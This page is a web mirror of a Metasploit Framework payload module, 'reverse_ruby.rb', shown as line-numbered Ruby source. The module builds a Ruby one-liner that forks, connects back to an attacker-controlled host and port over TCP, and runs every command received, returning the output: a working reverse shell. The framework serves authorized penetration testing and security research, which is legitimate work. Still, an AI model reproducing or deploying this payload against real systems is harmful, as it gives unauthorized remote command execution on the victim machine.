Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ruby.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 133
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Reverse TCP (via Ruby)',
17
'Description' => 'Connect back and create a command shell via Ruby',
18
'Author' => 'kris katterjohn',
19
'License' => MSF_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::ReverseTcp,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'ruby',
26
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
27
)
28
)
29
register_advanced_options(
30
[
31
OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])
32
]
33
)
34
end
35
36
def generate(_opts = {})
37
vprint_good(command_string)
38
return super + command_string
39
end
40
41
def command_string
42
lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
43
"#{datastore['RubyPath']} -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
44
end
45
end
46
47